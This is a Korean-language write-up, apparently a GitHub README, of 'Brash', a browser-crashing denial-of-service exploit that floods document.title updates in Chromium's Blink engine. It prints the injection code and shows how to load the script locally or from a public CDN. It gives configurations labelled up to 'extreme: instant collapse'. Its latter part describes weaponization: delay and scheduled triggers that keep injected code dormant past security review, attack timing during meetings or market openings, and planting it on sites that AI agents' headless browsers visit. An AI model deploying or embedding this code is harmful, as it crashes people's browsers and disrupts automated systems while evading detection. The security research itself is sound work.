
document.title 악용을 통한 Chromium 브라우저 DoS 공격

Brash는 Google의 Chromium 기반 브라우저를 구동하는 렌더링 엔진인 **Blink**의 치명적인 취약점입니다. 특정 DOM 작업이 관리되는 방식의 아키텍처 결함을 악용하여 모든 Chromium 브라우저를 15~60초 안에 붕괴시킬 수 있습니다.
공격 벡터는 document.title API 업데이트에 대한 속도 제한이 전혀 없다는 점에서 비롯됩니다. 이를 통해 초당 수백만 건의 DOM 변형을 주입할 수 있으며, 이 주입 시도 중에 메인 스레드가 포화되어 이벤트 루프가 중단되고 인터페이스가 붕괴됩니다. 그 영향은 상당하여 높은 CPU 리소스를 소비하고 전체 시스템 성능을 저하시키며 동시에 실행 중인 다른 프로세스를 중단하거나 지연시킬 수 있습니다. 데스크톱, Android 및 임베디드 환경의 Chromium 브라우저에 영향을 미침으로써 이 취약점은 인터넷상의 30억 명 이상의 사용자를 시스템 수준의 서비스 거부(DoS)에 노출시킵니다.
상태: 작동 중
영향을 받는 버전: Chromium ≤ 143.0.7483.0 (테스트됨: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] 현재 익스플로잇은 작동 중입니다. 취약점이 패치되면 이 코드는 더 이상 작동하지 않습니다. 그럼에도 불구하고 이 아키텍처 결함을 발견하고 세상에 의미 있는 무언가를 공유하기 위해 전체 연구, 문서화 및 설계 과정을 완료한 것은 매우 보람찬 여정이었습니다.
취약점의 영향을 검증하기 위해 macOS, Windows, Linux에서 11개의 주요 브라우저를 테스트했습니다.
결함이 Blink 렌더링 엔진의 핵심에 존재하므로 모든 Chromium 기반 브라우저가 취약합니다:
Brash는 Blink 렌더링 엔진의 근본적인 아키텍처 결함, 즉 document.title 업데이트에 대한 스로틀링 부재를 악용합니다. 공격은 세 가지 중요한 단계로 작동합니다:
공격을 시작하기 전에 512자로 구성된 100개의 고유한 16진수 문자열을 생성하여 메모리에 저장합니다.
실시간으로 생성하는 대신 미리 로드하는 이유는 무엇인가?
새 문자열을 지속적으로 생성하면 수학 연산에 CPU 시간이 소비되기 때문입니다. 그 시간은 매우 중요합니다. 문자열 생성에 소비되는 모든 밀리초는 document.title 업데이트로 브라우저를 공격하는 데 사용되지 않는 시간입니다.
100개의 문자열을 이미 메모리에 로드해 두면:
그 결과, 업데이트당 최대 메모리 소비로 최대 주입 속도를 달성합니다.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
구성 가능한 버스트 방식의 제목 업데이트를 실행합니다. 기본 구성(버스트: 8000, 간격: 1ms)에서는 초당 약 2,400만 건의 업데이트를 주입하려고 시도하며, 이 시도가 시작되는 순간 브라우저 붕괴가 시작됩니다.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
지속적인 업데이트가 브라우저의 메인 스레드를 포화시켜 다른 이벤트의 처리를 방해합니다:
붕괴 타임라인:
왜 동작하는가?
Blink는 각 document.title 변경을 속도 제한 없이 메인 스레드에서 동기적으로 처리합니다. 이로 인해 다음과 같은 병목 현상이 발생합니다:
Brash의 영향을 완전히 이해하려면 통제된 라이브 데모부터 직접 구현에 이르기까지 다양한 컨텍스트에서 익스플로잇을 경험할 수 있습니다. 각 옵션은 서로 다른 수준의 상호작용과 기술적 이해를 위해 설계되었습니다.
Brash가 작동하는 모습을 가장 빠르게 확인할 수 있는 방법입니다. **https://brash.run**을 방문하세요
그래픽 인터페이스 없이 익스플로잇을 보려면 **https://brash.run/hidden-live-demo.html**을 방문하세요. 이 버전은 실제 공격을 시뮬레이션하여 주입을 보이지 않게 실행합니다.
자체 환경에서 데모를 실행하려면 저장소에 포함된 exploit-demo/ 디렉토리에서 다음을 수행할 수 있습니다:
아무 Chromium 브라우저에서 exploit-demo/index.html을 열고 시작 전에 burst 및 interval 값을 구성하기만 하면 됩니다.
Brash를 자체 보안 테스트 또는 연구에 통합하려면 스크립트를 포함하고 공격을 구성하세요:
스크립트 포함:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API 사용법:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
강도 구성:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
참고: 각 버스트는 3개의 순차적
document.title업데이트를 실행합니다. 예를 들어 burstSize: 400 = 간격당 실제 1,200회 업데이트입니다.
Brash는 경제적 손실부터 인명 피해 위험에 이르는 결과를 초래하는 여러 중요 컨텍스트에서 무기화될 수 있습니다.
Brash의 위험성을 증폭시키는 중요한 기능은 특정 시점에 실행되도록 프로그래밍할 수 있다는 점입니다. 공격자는 시간적 트리거와 함께 코드를 주입하여 사전에 결정된 정확한 시간까지 잠복 상태를 유지할 수 있습니다.
기술적 구현:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
매개변수:
burstSize: 주기당 업데이트 수interval: 주기 사이의 밀리초delay: 숫자(초) 또는 문자열 ("30s", "5000ms", "3m")scheduled: ISO 문자열 또는 Date 객체delay 매개변수가 특히 치명적인 이유:
링크를 언제 열지 알 필요 없음: 피해자가 페이지를 여는 순간부터 X초를 기다리기만 하면 됩니다.
신뢰를 구축할 시간: 대기 시간 동안 피해자는 정당해 보이는 콘텐츠(양식, 문서, 동영상)와 상호작용합니다.
초기 검사 회피: 누군가 코드를 빠르게 검토하면 비활성 상태로 보입니다. 공격은 나중에야 실행됩니다.
완벽한 심리적 타이밍: 피해자가 작업에 깊이 몰입할 때까지 기다립니다(시험 중간, 회의 중간, 중요 절차 중).
delay 사용 시 일반적인 시나리오:
00:00 - 피해자가 "Q4 Documents.pdf" 링크를 엽니다
00:30 - 피해자가 문서를 검토하며 정상적으로 보입니다
02:00 - 피해자가 50명이 있는 회의에서 화면을 공유합니다
03:00 - 공격 실행 - 모든 브라우저가 붕괴됩니다
scheduled 매개변수 또한 파괴적인 이유:
정밀한 동기화: 공격자는 최대 영향을 미칠 정확한 순간(시장 개장, 최대 운영 시간)을 선택합니다.
전 세계 동시다발 공격: 동일한 초에 여러 표적을 동시에 타격할 수 있습니다.
사전 탐지 회피: 악성 코드는 실행되지 않은 채 수일 또는 수주 전부터 존재하여 보안 검토를 통과할 수 있습니다.
중지 불가능: 공격이 실행되는 시점에는 이를 막기에는 너무 늦습니다.
전략적 타이밍 예시:
이러한 운동적 타이밍 능력은 Brash를 단순한 방해 도구에서 시간적 정밀 무기로 변모시킵니다. 공격자는 "무엇"과 "어디서"뿐만 아니라 **"언제"**까지도 밀리초 단위의 정확도로 통제할 수 있습니다.
시나리오: 웹 스크래핑, 시장 분석, 경쟁사 모니터링 또는 고객 지원 자동화를 위해 AI 에이전트에 의존하는 기업 시스템은 헤드리스 브라우저(Chromium/Puppeteer)를 사용하여 매일 수천 개의 웹사이트를 쿼리합니다. 공격자는 이러한 에이전트가 쿼리하는 인기 사이트에 Brash를 주입합니다.
중요한 자동화 작업 중: